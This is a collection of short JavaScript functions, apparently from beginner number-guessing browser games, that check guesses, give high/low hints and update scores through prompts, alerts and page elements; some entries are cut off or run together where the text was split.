Guess a number from 1 to 50:');\n console.log('User input: ' + guessNumber);\n\n if (parseInt(guessNumber)){\n if (parseInt(guessNumber) === correctNumber){\n\n console.log(\"True!\");\n alert('Great job! You guess it with ' + (5 - attempts) + ' attempt(s)');\n correctAns++;\n break;\n } \n else if (parseInt(guessNumber) < correctNumber){\n \n console.log(parseInt(guessNumber) + ' lower than ' + correctNumber);\n attempts--;\n alert(\"Wrong...Go higher!\" + attempts + \" attempts left\");\n \n } \n else if (parseInt(guessNumber) > correctNumber){\n \n console.log(parseInt(guessNumber) + ' bigger that ' + correctNumber);\n attempts--; \n alert(\"Wrong...Go lower!\" + attempts + \" attempts left\");\n \n }\n \n }\n else alert('Wrong input! It should be a whole number');\n }\n\n if ((attempts === 0) && (guessNumber !== correctNumber)){\n\n alert('You wasted all your attempts...');\n }\n}","function checkValueToGoal(){\n if(currentTotalCounter===randomizedChosenGoalNumber){\n winCounter++;\n $(\"#winCounter\").html(winCounter); \n restartGame();\n } else if(currentTotalCounter> randomizedChosenGoalNumber){\n loseCounter++;\n $(\"#loseCounter\").html(loseCounter);\n restartGame();\n }\n}","function evaluateGuessOne(guess, randomNumber, min, max) {\n console.log(\"minumum number is: \" + min);\n console.log(\"max number is: \" + max);\n if(guess < min || guess > max) {\n console.error(\"Number is not in range\");\n highOrLow1.innerText = \"Out of range\";\n return alert(`Number must be between ${min} and ${max}`);\n } else if(isNaN(guess)){\n console.log(\"NOT A NUMBER\");\n displayGuess1.innerText = \"--\";\n highOrLow1.innerText = \"That's Not a Number...\";\n alert(\"Please enter a valid number\");\n } else if(guess < randomNumber) {\n console.log(\"Player 1: guess is to low: \" + guess);\n highOrLow1.innerText = \"that's to low\";\n } else if(guess > randomNumber) {\n console.log(\"Player 1: guess it to high: \" + guess);\n highOrLow1.innerText = \"that's to high\";\n } else {\n console.log(\"Correct Guess\");\n highOrLow1.innerText = \"BOOM!\";\n newWinnerCard(challenger1Name.value, challenger2Name.value, challenger1Name.value);\n // winnerName.innerText = challenger1Name.value;\n alterGamerRange(min, max);\n console.log(\"The new Minimum range is: \" + min);\n console.log(\"The new Maximum range is: \" + max);\n }\n }","function compare(){\n feedback.classList.remove('warning');\n let num = Number(guessNum.value);\n let sd = 10;\n if ( num > random ) {\n if( Math.abs(num-random) <= sd ){\n feedback.innerHTML = \"Too high, But very close!\"\n } else {\n feedback.innerHTML = \"Too high!\"\n }\n } else if ( num < random ) {\n if( Math.abs(num-random) <= sd ){\n feedback.innerHTML = \"Too low, But very close!\"\n } else {\n feedback.innerHTML = \"Too low!\"\n }\n } else if ( num === random ) {\n feedback.innerHTML = \"Bingo!!!\";\n feedback.classList.add('bingo');\n again();\n };\n}","function getHint() {\n cheating = true;\n var randomnumber=Math.floor(Math.random()*81);\n if (puzzleFull()) { alert(\"No more hints! Puzzle is full!\"); return false;}\n\n if (puzzle.charAt(randomnumber) == '0' && document.getElementById(randomnumber).value == '') {\n document.getElementById(randomnumber).value = puzzleS.charAt(randomnumber);\n } else {\n getHint();\n }\n}","function guessMyNumber(n) {\n var upperbound =6;\n var rightNumber=randInt(upperbound);\n\n if (n > upperbound) {\n return \"Out of bounds! Please try a number between 0 and 5.\";\n }\n \n else if (n === rightNumber) {\n return \"You guessed my number!\";\n }\n return \"Nope! That wasn't it!\" + \"correct number: \" + rightNumber ;\n}","function checkGuess() {\r\n var guess = document.getElementById('guess').value;\r\n\r\n if (!isNaN(guess)) {\r\n var guesses = document.getElementById('output');\r\n\r\n if (guess === randNum) guesses.value = guesses.value + \"\\r\" + \"You have guessed correctly! (\" + guess + \")\";\r\n else if (guess > randNum) guesses.value = guesses.value + \"\\r\" + \"You have guessed too high! (\" + guess + \")\";\r\n else guesses.value = guesses.value + \"\\r\" + \"You have guessed too low! (\" + guess + \")\";\r\n }\r\n else alert(\"Not an integer, try again.\");\r\n}","function guessField(){\n // Store the input entered into the text field into a variable \"ans\" and immediately cast to int\n var ans = parseInt(document.getElementById(\"numberGuess\").elements[\"number\"].value);\n console.log(\"secret: \" + secret + \"\\nyour guess: \" + ans);\n\n do // Used a do-while, because we always want to this block to execute at least once\n {\n console.log(\"Entered while loop\\nsecret: \" + secret + \"\\nans: \" + ans + \"\\nguessed: \" + guessed);\n\n if(ans > secret){\n console.log(\"Your guess is too high\");\n write(\"result4\", ans + \" is too high. Guess again\");\n break;\n } else if (ans < secret){\n console.log(\"Your guess is too low\");\n write(\"result4\", ans + \" is too low. Guess again\");\n break;\n } else if (ans === secret){\n console.log(\"You guessed it!\");\n write(\"result4\", \"You correctly guessed the number \" + ans + \". A new number random number will be generated now\");\n alert(\"You correctly guessed the number \" + ans + \". A new number random number will be generated now\");\n secret = Math.floor(Math.random() * (MAX+1));\n console.log(\"New secret: \" + secret);\n guessed=true;\n } else { // If this else is reached, the input must be invalid. Prompt the user, and get a new guess.\n console.log(\"Invalid input. Enter a number\");\n write(\"result4\", \"Invalid input. Please enter a number between 0 and 5\");\n break;\n }\n } while(guessed === false);\n}","function provideHint() {\n var diff = Math.abs(playersGuess - winningNumber);\n if (diff > 50) {\n return (\" Like whoa. Maybe try a different end of the spectrum.\")\n } else if (diff > 25) {\n return (\" You're a fair ways off.\")\n } else if (diff > 9) {\n return (\" Getting there!\")\n } else {\n return (\" So close!\")\n }\n }","function userWinOrLose() {\n if (result > randomNum) {\n losses++;\n console.log(\"user lost\");\n // alert(\"You lost! Try again.\");\n initializeGame();\n }\n\n if (result === randomNum) {\n wins++;\n console.log(\"user won\");\n // alert(\"You won! Great job. Best out of 5?\");\n initializeGame();\n }\n}","function sixthQuestion() {\n//sixth question\n var secretNum = 20;\n console.log('Value of secretNum: ', secretNum);\n\n// Evaluate whether the guess is too high or too low and give the user four attempts\n var attempt = 0;\n var maxAttempts = 4;\n while (attempt < maxAttempts) {\n var guessedNum = prompt('Guess my secret number.');\n guessedNum = parseInt(guessedNum);\n console.log('value of guessedNum: ', guessedNum);\n console.log('type of guessedNum: ', typeof guessedNum);\n\n if (guessedNum === secretNum) {\n alert('BULLSEYE. ', secretNum, ' was my secret Number!');\n attempt = maxAttempts; // exit loop\n tallyCorrect++;\n } else if (guessedNum < secretNum) {\n alert('Too low. Click OK and guess again.');\n console.log('Attempt #: ', attempt);\n } else if (guessedNum > secretNum) {\n alert('Too high. Click OK and guess again.');\n console.log('Attempt #: ', attempt);\n } else {\n alert('Rethink that choice.');\n console.log('Attempt #: ', attempt);\n }\n attempt++;\n }\n console.log('out of the loop');\n console.log('count: ' + tallyCorrect);\n}","function generateRandNum() {\r\n var guesses = document.getElementById(\"output\");\r\n var clicked = false;\r\n\r\n document.getElementById('newGame').onclick = function() {\r\n clicked = !clicked;\r\n };\r\n document.getElementById('guess').addEventListener(\"keyup\", function(event) {\r\n event.preventDefault();\r\n if (event.keyCode === 13) document.getElementById('check').click();\r\n });\r\n\r\n if (clicked) {\r\n if (!confirm('Restart game with new number?')) return;\r\n }\r\n\r\n guesses.value = '';\r\n randNum = Math.floor(Math.random()*500);\r\n guesses.value = \"New number generated.\\n\"\r\n\r\n // hide number that has been generated\r\n document.getElementById('numToGuess').value = '';\r\n document.getElementById('showCheat').style.display = 'none';\r\n}","function checkFinal(){\n \tplayersGuessSubmission(); \n \t//check errors\n \tif (playersGuess > 100) {\n\t\t\t$(\".text\").append (\"
\", guessListText);\n\t\t\tdocument.getElementById(\"response\").innerHTML = \"Sorry, you're out of guesses. The combination was \" + combination + \". Please refresh the page to try a new game.\";\n\t\t\tdocument.getElementById(\"guessList\").innerHTML = guessListText;\n\t\t\tbreak;\n\t\tcase 1:\n\t\t guessesRemain--;\n guessListText = currentGuess.concat(\" \", \"\", exactPlace, \" \", wrongPlace, \"
\", guessListText);\n\t document.getElementById(\"response\").innerHTML = \"Try again.\";\n document.getElementById(\"guessList\").innerHTML = guessListText;\n\t\t\tbreak;\n\t\tcase 2:\n\t\tcase 3:\n guessesRemain--;\n\t\t\tguessListText = currentGuess.concat(\" \", \"\", exactPlace, \" \", wrongPlace, \"
\", guessListText);\n\t\t\tdocument.getElementById(\"response\").innerHTML = \"You guessed it!\";\n\t\t\tdocument.getElementById(\"guessList\").innerHTML = guessListText;\n\t\t\tbreak;\n\t\tdefault:\n\t\t document.getElementById(\"response\").innerHTML = \"Wow. Something weird happened. Please notify the game designer.\";\n\t\t\tbreak;\n\t}\n\tdocument.getElementById(\"remaining\").innerHTML = \"Guesses remaining: \" + guessesRemain;\n}","function PromptNumber(max_value) {\n\t// variables created inside of a function aren't available outside of it.\n\t// If you reuse a variable name from the global scope, only the locally defined\n\t// version will be available here.\n\t// It is best to keep global variables to a minimum and only use global variables when necessary.\n\tlet text, num;\n\t\n\t// Here we have a REPEAT UNTIL loop. The program will always go through the loop at least once.\n\t// We say that it is a bottom tested loop as it checks to see if it should loop at the bottom of the block.\n\tdo {\n\t\t// parseInt will change a string into a number.\n\t\ttext = prompt('What is your guess?');\n\t\tnum = parseInt(text);\n\t\t\n\t\tif (isNaN(num)) {\n\t\t\t// If you pass in something that isn't a number to parseInt, it \n\t\t\t// returns a special Not a Number code. If we got that just change\n\t\t\t// it to zero. We will use isNaN to detect a number parse error.\n\t\t\tnum = 0;\n\t\t\talert('\"' + text + '\" is not a number. Try again.');\n\t\t}\n\t\telse if (num < 1) {\n\t\t\talert(num.toString() + ' is too small for the given range. Try again.');\n\t\t}\n\t\telse if (num > max_value) {\n\t\t\talert(num.toString() + ' is too large for the given range. Try again.');\n\t\t}\t\t\n\t}\n\twhile (num < 1 || num > max_value)\n\t// && is the boolean and operator. It will be true when both checks are true and false otherwise.\n\t// || is the boolean or operator. It will be true when either check is true, and only false if both checks are.\n\t\n\t\n\t// To return a value back to the caller use the return statement. \n\treturn num;\n}","function question6 (){\n\n var actualRetries = Math.floor(Math.random() * 10) + 1;\n console.log('Actual number of retries: ' + actualRetries);\n\n var el = document.getElementById('random-number');\n el.textContent = actualRetries;\n\n var guessedRetries = 0;\n var correctGuess = false;\n var numberOfGuesses = 0;\n\n //The initial prompt is kept separate from the follow up question to be more interactive\n\n guessedRetries = prompt('Can you guess the number of my retries to get all answers on the course quiz right? Please be courteous and limit your response to a number between 1 and 10.');\n\n while (numberOfGuesses < 4){\n console.log('Number of retries guessed: ' + guessedRetries);\n if (actualRetries < guessedRetries){\n guessedRetries = prompt('Number is lower than your guess. Try again!');\n } else if (actualRetries > guessedRetries){\n guessedRetries = prompt('Number is higher than your guess. Try again!');\n } else {\n correctGuess = true;\n break;\n }\n numberOfGuesses++;\n }\n\n //Keep track of number ofright answers. Set the alert message depending on the outcomme\n\n if (!correctGuess){\n alert('Sorry, you have exhausted the number of tries.');\n } else{\n alert('Awesome, you got it!');\n numberOfRightAnswers++;\n }\n\n}","function checkGuess(playersGuess){\n\t//If the number hasn't already been tried, check to see if it is the winning number\n if (numbersTried.indexOf(playersGuess) == -1) {\n //If it is a winning number\n if(winningNumber==playersGuess) {\n $('.feedback').text(\"You won!\");\n $('.remaining').text(\"Congratulations!\")\n playerWon();\n }\n //If it is not a winning number, add it to array of tried numbers, and increment guesses \n else {\n $('.feedback').text(lowerOrHigher(winningNumber, playersGuess));\n\n numbersTried.push(playersGuess);\n //Have not given a hint for the current step\n hintNotGiven = true;\n\n guesses--;\n\n //Message to be printed for number of guesses remaining, and also determining if the user lost\n if (guesses > 1) {\n $('.remaining').text(guesses + \" Guesses remaining! Make it count!\")\n } else if (guesses == 1) {\n $('.remaining').text(guesses + \" Guess remaining! Make it count!\")\n } else {\n $('.feedback').text(\"You lost. Play again?\");\n $('.remaining').text(\"Game Over\")\n playerLost();\n };\n };\n} \n //If the user has already guessed this number\n else {\n $('.feedback').text(\"You have already guessed this number\");\n};\n\n}","function checkNumGuess() {\n\tif(guesses === 0) {\n\t\talert(\"Sorry, you couldn't guess the word. Game Over!\");\n\t}\n}","function checkGuess(){\n\tif (playersGuess === winningNumber) {\n\t\tmoveSection();\n\t\tchangeAnn(\"YOU WIN!\")\n\t\tfaceDance();\n\n\t} else {\n\t\tif (arrayOfGuesses.includes(playersGuess)) {\n\t\t\t$('#announcement').fadeOut('fast');\t\n\t\t\tchangeAnn(\"You already guessed that number\");\n\t\t} else {\n\t\t\tarrayOfGuesses.push(playersGuess);\n\t\t\tif (arrayOfGuesses.length === 5){\n\t\t\t\tchangeAnn(\"Game Over!\");\n\t\t\t\t$('#tryAgain').css('background', 'red');\n\t\t\t\tconsole.log(arrayOfGuesses);\n\n\t\t\t} else {\n\t\t\t\tlowerOrHigher();\n\t\t\t\tfaceWag();\n\t\t\t}\n\t\t}\n\t}\n}","function randomGuess(num){\n\tnotGuessed = true;\n\tvar counter = 0;\n\twhile(notGuessed){\n\t\tcounter++;\n\t\tvar rand = Math.random() * array.length;\n\t\tif(array[rand] == num){\n\t\t\tnotGuessed = false;\n\t\t}\n\t}\n\treturn counter;\n}","function guess() {\n\t\tvar guessClick = $(this).text();\n\t\t// console.log(guessClick + \" was clicked\");\n\n\t\tif (guessClick === correctAnswer) {\n\t\t\tcorrectGuess();\n\t\t} else {\n\t\t\tincorrectGuess();\n\t\t}\n\t}","function questionSix(){\n var myNum = 7;\n var turns = 4;\n\n\n var guess = parseInt(prompt('Hi! Do you think you can guess my favorite number? You have 4 attempts'));\n do{\n if (guess > myNum){\n turns--;\n alert('Too high, try again. You have ' + turns + ' remaining');\n guess = parseInt(prompt ('What is my number?'));\n } if (guess < myNum){\n turns--;\n alert('Too low, try again. You have ' + turns + ' remaining');\n guess =parseInt(prompt ('What is my number?'));\n } if (turns < 1) {\n alert('Hey ' + name + '! I said you were out of turns!');\n } if (guess === myNum){\n alert('OMG! You are right!');\n score++;\n }\n }\n while (guess !== myNum && turns >= 1);\n\n}","function askIfPlayerWantsToPlay() {\n if (roundCount == 10) {\n alert(\"Sorry your turns are up\");\n } else {\n let tryAgain = prompt('You can try up to 10 times. Would you like to try to guess a number. Type \"yes\" or \"no\"');\n alert(tryAgain);\n if (tryAgain == \"no\") {\n alert(\"Quitting so soon? roundCount \" + roundCount);\n return;\n } else if (tryAgain != \"yes\") {\n alert('Please enter \"yes\" or \"no\"');\n } else {\n alert(\"Good Luck!\");\n }\n roundCount = roundCount++;\n validateUserInputIsNumber();\n }\n\n}","function fullGuessNumber(){\n var userGuessNumber =prompt('Guess a number between 1-20, you\\'ll have 4 chances with this being your first :)');\n var attemptTries;\n // using parseInt() will turn whatever into a number or using Number()\n\n\n for(attemptTries = 0;attemptTries<4;attemptTries++){\n var userGuessedThisNumber = parseInt(userGuessNumber);\n if(attemptTries===3){\n userGuessNumber = prompt('Last chance! tip: it\\'s between 9 and 12 hehe');\n userGuessedThisNumber= parseInt(userGuessNumber);\n if(userGuessedThisNumber=== 11){\n alert('Wow you guessed it! Nice job!');\n userScore++;\n break;\n }else{\n alert('You failed all guesses,it was 11. oh well');\n break;\n }\n }\n if(userGuessedThisNumber === 11){\n alert('Wow you guessed it. Nice job!');\n userScore;\n break;\n }else if(userGuessedThisNumber< 11){\n userGuessNumber= prompt('Wrong Answer! A bit low try, again! Guess a number between 1-20');\n } else if(userGuessedThisNumber> 11){\n userGuessNumber= prompt('Wrong answer! A bit high, try again.Guess a number between 1-20');\n }else{\n userGuessNumber=prompt('Hey please put a correct choice, a number between 1-20! this counts as wrong. Try again.Guess a number between 1-20');\n\n }\n\n\n }\n}","function isMatches(window) {\n var userNumber = window.prompt(\"Please enter a number between 1 to 10\", \"1\");\n var randomNumber = Math.floor(Math.random() * 10 + 1);\n var result;\n\n userNumber = parseInt(userNumber);\n\n if (userNumber === randomNumber) {\n result = \"Good Work\";\n } else {\n result = \"Not matched\";\n }\n\n return result;\n}","function newGame(){\n\t\tsecretNumber = Math.floor(Math.random()*100) + 1; //Gernerates #\n\t\t//console.log('secretNumber', secretNumber); shows secret number in console.\n\n\t\tcounter = 0;\n\t\tdisplay.innerHTML = counter;\n\n\t\t$('.guessBox').html(''); //resets html and results\n\n\t\tdocument.getElementById('feedback').innerHTML = \"Make Your Guess!\";\n\n\t}","function compareAndInform() {\n var resultSection = document.querySelector('.response');\n if (inputAsNumber() > max ) {\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\n } else if (inputAsNumber() < min) {\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\n } else if (inputAsNumber() < randomNumber) {\n resultSection.innerText = \"That is too low\";\n } else if (inputAsNumber() > randomNumber) {\n resultSection.innerText = \"That is too high\";\n } else if (inputAsNumber() === randomNumber) {\n resultSection.innerText = \"You guessed it!\"\n increaseValueOnWin();\n console.log(randomNumber);\n } else {\n resultSection.innerText = `You need to guess a NUMBER between ${min} and ${max}`;\n }\n}","function hint()\n{ // Begin hint\n // a) Store the input value in the following variable.\n //REMEMBER, you will need casting as input values are\n //always strings\n guess = Number(input.value);\n\n // d) Compare guess to current number\n if( guess < currentNumber)\n { // if guess is less than currentNumber\n // e) Set the message text to say '{guess} is lower\n //than the secret number.' using string interpolation (templates)\n message.textContent = `${guess} is lower than the secret number.`;\n }\n else\n { // otherwise...\n // f) Set the message text to say '{guess} is higher than the secret number.' using string interpolation (templates)\n message.textContent = `${guess} is higher than the secret number.`;\n }\n\n // TAKE IT FURTHER: Don't keep this if it doesn't work!)\n // tf a) Using the math absolute function, find the difference\n // between the guess and the current number\n diff = Math.abs(guess - currentNumber);\n\n // tf b) Create a for loop that starts at 0, checks to see if\n //it's less than 100, and increments by 10\n for(var i=0; i<100; i+=10)\n { // Begin loop\n // tf c) if the diff is less than your loop initializer\n //variable (usually it's i) AND diff is NOT less than 5\n if(diff < i && diff > 5)\n { // if diff...\n // tf d) Set message with the following test:\n // `\\nYou are within ${i} of the secret number.`\n message.textContent = `\\nYou are within ${i} of the secret number.`;\n // tf e) Exit the loop if this condition is true\n break;\n } // ...end if\n } // End loop\n\n // tf f) If diff is less than 5\n if(diff < 5)\n { // Begin if\n // g) Append to the message text:\n // `\\nYou are within 5 of the secret number.`\n message.textContent += `\\nYou are within 5 of the secret number.`;\n } // End if\n // END OF TAKE IT FURTHER\n} // End hint","function makeGuess(num){\n let min = 1\n let max = 5\n\n return num === (Math.floor(Math.random() * (max - min + 1)) + min)\n}","function computerguess(Answer) {\n\n if (Answer === 'C') {\n say('Your number was ' + guessedNumber + '!\\n I guessed it in ' + amoutOfGuesses + ' tries.');\n\n } else {\n\n\n if (Answer === 'H') {\n firstArg = guessedNumber + 1\n amoutOfGuesses++;\n }\n if (Answer === 'L') {\n secondArg = guessedNumber - 1\n amoutOfGuesses++;\n }\n guessedNumber = getRandom(firstArg, secondArg);\n if (firstArg > secondArg) {\n say('I think you are trying to cheat.');\n startGame()\n }\n say('Is ' + guessedNumber + ' your number?');\n }\n}","function newgame(){\n \t\tanwser = Math.floor((Math.random() * 100) + 1);\n\t\tcount = 0;\n\t\t$('#count').text(count);\n\t\t$('#feedback').text('Make your Guess!');\n\t\tguesses = [];\n\t\t$('#guessList').children().hide();\n\t}"],"string":"[\n \"function randomNumber() {\\n\\tif (getyx(y,x) =='Y3X23' || getyx(y,x) =='Y3X2') {\\n\\t\\tvar randomNumber = (Math.floor(Math.random() * 5) + 1);\\n\\t\\tvar bet = prompt('Please make a wager');\\n\\t\\tvar guess = prompt('Please pick a number from 1 to 5');\\n\\t\\t\\tif(parseInt(guess) == randomNumber) {\\n\\t\\t\\talert('You just increased your score by ' + bet + ' !')\\n\\t\\t\\tscore += parseInt(bet);\\n\\t\\t\\tscoreCheck();\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\talert('Sorry you just lost ' + bet + ' health points :(');\\n\\t\\t\\thealth -= parseInt(bet);\\n\\t\\t\\tscoreCheck();\\n\\t\\t}\\n\\t}\\n}\",\n \"function processValidGuess(guess) {\\n if (guess < aRandomNumber) {\\n $('.result-line').text(\\\"That is too low\\\");\\n } else if (guess > aRandomNumber) {\\n $('.result-line').text(\\\"That is too high\\\");\\n } else {\\n increaseWins();\\n increaseMinMax();\\n $('.result-line').text(\\\"BOOM! Click Reset to continue playing\\\");\\n }\\n }\",\n \"function provideHint(){\\n\\tvar guessesLeft = (5 - (arrayOfGuesses.length));\\n\\tvar hintArray = [winningNumber];\\n\\tfor (var i = 1; i < 2*guessesLeft; i++) {\\n\\t\\tvar rand = generateWinningNumber();\\n\\t\\thintArray.push(rand);\\n\\t}\\n\\tshuffle(hintArray);\\n\\tchangeAnn(\\\"One of these is the answer: \\\" + hintArray);\\n}\",\n \"function guessing() {\\n\\tconst guess = Number(document.querySelector(\\\".guess\\\").value);\\n\\t// ----- Invalid input\\n\\tif (guess < 1 || guess > 20) {\\n\\t\\tchangeText(\\\".number\\\", guess);\\n\\t\\tchangeText(\\n\\t\\t\\t\\\".message\\\",\\n\\t\\t\\t\\\"Invalid value, please select number between 1 and 20\\\"\\n\\t\\t);\\n\\t} // ----- Correct Guess\\n\\telse if (guess === randomNumber) {\\n\\t\\tchangeText(\\\".number\\\", randomNumber);\\n\\t\\tdocument.querySelector(\\\"body\\\").style.backgroundColor = \\\"green\\\";\\n\\t\\tdocument.querySelector(\\\".number\\\").style.width = \\\"30rem\\\";\\n\\t\\tscore++;\\n\\t\\tchangeText(\\\".score\\\", score);\\n\\t\\tchangeText(\\\".message\\\", \\\"You are Correct!\\\");\\n\\t\\t//Validate that score is higher than highscore and, if true, set highscore\\n\\t\\tscore > highscore ? (highscore = score) : highscore;\\n\\t\\tchangeText(\\\".highscore\\\", highscore);\\n\\t} // ----- Low Guess\\n\\telse if (guess < randomNumber) {\\n\\t\\tlowHighGuess(\\\"low\\\");\\n\\t} // ----- High Guess\\n\\telse if (guess > randomNumber) {\\n\\t\\tlowHighGuess(\\\"high\\\");\\n\\t}\\n}\",\n \"function checkGuess(guess) {\\n // Write your code here\\n if (guess == randomNumber){\\n alert(\\\"You got it!\\\");\\n }\\n else {\\n alert(\\\"Try again\\\");\\n }\\n }\",\n \"function enterAGuess(guessedNumbered){\\n\\n var differenceNum = Math.abs(guessedNumbered - randomNum);\\n if (differenceNum == 0){\\n \\t//alert(\\\"You did it!\\\");\\n \\t$(\\\"h2\\\").text(\\\"You Won!\\\");\\n } \\n \\telse if (differenceNum >= 50){\\n \\t\\t$(\\\"h2\\\").text(\\\"Colder\\\");\\n \\t}\\n else if (differenceNum >= 30){\\n \\t$(\\\"h2\\\").text(\\\"Cold\\\");\\n }\\n else if (differenceNum >=20){\\n \\t$(\\\"h2\\\").text(\\\"Hot\\\");\\n }\\n else if (differenceNum >=10){\\n \\t$(\\\"h2\\\").text(\\\"Hotter\\\");\\n } \\n /*---- counting the number of guesses */\\n countTrackGuesses(guessedNumbered);\\t\\n }\",\n \"function processGuess() {\\n var guess = document.getElementById(\\\"inputText\\\").value;\\n var hint = document.getElementById(\\\"hintMessage\\\");\\n hint.innerHTML = guess;\\n var recent = document.getElementById(\\\"inputText\\\").value;\\n recentGuess.innerHTML = guess;\\n // If the userGuess is lower than the random number the h2 will tell the user their guess is too low.\\n if (guess < rand) {\\n hint.innerHTML = \\\"Hint: Your guess is too low, please try again.\\\"\\n };\\n // If the userGuess is higher than the random number the h2 will tell the user their guess is too high.\\n if (guess > rand) {\\n hint.innerHTML= \\\"Hint: Your guess is too high, please try again.\\\"\\n };\\n // If the user guess is equal to the random number the user wins!\\n if (guess == rand) {\\n hint.innerHTML= \\\"Congrats, victory is yours!\\\"\\n };\\n guess = document.getElementById(\\\"inputText\\\").value = \\\"\\\";\\n}\",\n \"function guessLogic(guess){\\n if (randomNum > guess){\\n \\tdocument.getElementById(\\\"userGuess\\\").innerText = guess;\\n \\tdocument.getElementById(\\\"statement\\\").innerText = \\\"Your last guess was\\\";\\n \\tdocument.getElementById(\\\"response\\\").innerText = \\\"That is too low\\\";\\t\\n }\\n else if (randomNum < guess ){\\n \\t\\tdocument.getElementById(\\\"userGuess\\\").innerText = guess;\\n \\t\\tdocument.getElementById(\\\"statement\\\").innerText = \\\"Your last guess was\\\";\\n \\t\\tdocument.getElementById(\\\"response\\\").innerText = \\\"That is too high\\\";\\t\\n }\\n else{\\n \\t\\twinner(guess)\\n }\\n}\",\n \"function letsGuess() {\\n // sugenereuoti skaiciu nuo 1 iki 10 sveika skaiciu\\n let randomNumber = Math.floor(Math.random() * 10) + 1;\\n // console.log(\\\"randomNumber\\\", randomNumber);\\n // paprasyti user input ir patikrtinti ar pataikyta\\n let userNumber = prompt(\\\"Iveskite skaiciu\\\");\\n // console.log(\\\"userNumber\\\", +userNumber);\\n\\n if (randomNumber === +userNumber) {\\n console.log(\\\"Pataikete, sveikinimai\\\");\\n } else {\\n console.log(\\\"Neatspejote, bandykite dar karta. Kompiuteris spejo kad sptesit\\\", randomNumber);\\n }\\n}\",\n \"function checkGuess() {\\n\\n\\tif (playersGuess==winningNumber) {\\n\\t\\t\\t$(\\\"#winner\\\").text(\\\"!!! IT'S YOU. YOU WON !!!\\\");\\n\\t\\t\\talert(\\\"WE HAVE A WINNER!!!\\\");\\n\\t\\t\\t//add some sick congratulatory elements\\n\\t} else {\\n\\t\\t\\tlowerOrHigher();\\n\\t}\\n}\",\n \"function makeGuess() {\\n if (hasGameEnded(guesses, secret)) {\\n return;\\n }\\n if (isValidInput(guess)) {\\n setStatus(\\\"\\\");\\n console.log(\\\"secret: \\\" + secret);\\n setGuesses(guesses.concat(guess));\\n setGuess(\\\"\\\");\\n setHints(hints.concat(getHint(secret, guess)));\\n console.log(\\\"num guesses: \\\" + guesses.length);\\n } else {\\n console.log(\\\"bad input\\\");\\n setStatus(\\\"A guess must be a 4-digit unique integer (1-9)\\\");\\n }\\n }\",\n \"function guessFunction(userNum, randomNum) {\\n if (userNum === randomNum) {\\n boom();\\n lastGuessNumber.style.color = \\\"#1abc9c\\\";\\n guessBtn.disabled = true;\\n setRangeValue(minNum -= 10, maxNum += 10);\\n } else if (userNum > randomNum) {\\n guessText.innerText = \\\"That is too high\\\";\\n lastGuessNumber.style.color = \\\"#ed5a64\\\";\\n } else {\\n guessText.innerText = \\\"That is too low\\\";\\n lastGuessNumber.style.color = \\\"#ed5a64\\\";\\n }\\n}\",\n \"function guessingGame() {\\n\\tvar randomNumber = Math.ceil(20 * Math.random());\\n\\tvar guess = Number(prompt(\\\"Try a number between 1 and 20!\\\"));\\n\\tvar numTries = 1;\\n\\tif (guess === randomNumber) {\\n\\t\\talert(\\\"Congratulations! You guessed correctly on the first try.\\\");\\n\\t}\\n\\twhile (guess !== randomNumber) {\\n\\t\\tguess = Number(prompt(\\\"Try again.\\\"));\\n\\t\\tnumTries++;\\n\\t\\tif (guess === randomNumber) {\\n\\t\\t\\talert(\\\"Congratulations! It took you \\\" + numTries + \\\" tries.\\\");\\n\\t\\t\\treturn(guess);\\n\\t\\t}\\n\\t}\\t\\n}\",\n \"function checkGuess(){\\r\\n guesstext=guesstext.toUpperCase();//country array is in upper case, so change guess to uppercase\\r\\n if(guesstext==answer){//if the guess was correct\\r\\n answer=pickAnswer();//find a new answer\\r\\n chances=3; score+=10; guess.value=\\\"\\\";//reset chances to 3, add 10 to score and clear guess input field\\r\\n alert(guesstext+\\\"! You're right!\\\");//congratulate the user\\r\\n }\\r\\n else{chances-=1; guess.value=\\\"\\\";//guess is not correct, subtract one chance and clear the input field\\r\\n if(chances>0){alert(\\\"Nope. Try again.\\\");}//if there are chances left, ask user to try again\\r\\n }\\r\\n showGui();// turns on the engine and updates info\\r\\n }\",\n \"function guess() {\\n\\n // WRITE YOUR EXERCISE 4 CODE HERE\\n let number=Math.floor(Math.random()*999)+1;\\n let attempts=0;\\n let correct_answer = false;\\n while (correct_answer==false) {\\n let guess=prompt('enter your guess')\\n if(guess>=1 && guess<=1000 && Number.isInteger(Number(guess))){\\n console.log(\\\"1\\\");\\n if (number==guess){\\n attempts++;\\n correct_answer=true;\\n alert(\\\"Correct Answer!\\\")\\n document.getElementById('guess-output').innerHTML=\\\"Number: \\\"+number+\\\"Attempts: \\\"+attempts;\\n }\\n else if(guess>number){\\n attempts++;\\n alert(\\\"too high\\\")\\n }\\n else if(guess0;i--){\\n\\t\\thintarr.push(Math.ceil(Math.random()*100));\\n\\t}\\n\\thintarr=shuffle(hintarr);\\n\\t$(\\\"#message\\\").text(hintarr);\\n\\n}\",\n \"function checkGuess() {\\n\\t\\tplayersGuessSubmission();\\n\\t\\t//check win\\n\\t\\tif (winningNumber === playersGuess) {\\n\\t\\t\\t$(\\\".thermometer\\\").html (\\\"\\\"+playersGuess+\\\"°\\\")\\n\\t\\t\\t$(\\\"#therm\\\").removeAttr('class');\\n\\t\\t\\t$(\\\"#therm\\\").addClass(\\\"thermometer scorching\\\");\\n\\t\\t\\t$(\\\".text\\\").append (\\\"
You have had \\\" + countClicks + \\\" guesses so far.\\\";\\n\\t\\t \\n } \\n\\t\\telse if (userguess < randomnum) {\\n\\t\\t\\t countClicks++;\\n result =\\\"Your guess of \\\" + userguess + \\\" is lower than the magic number.
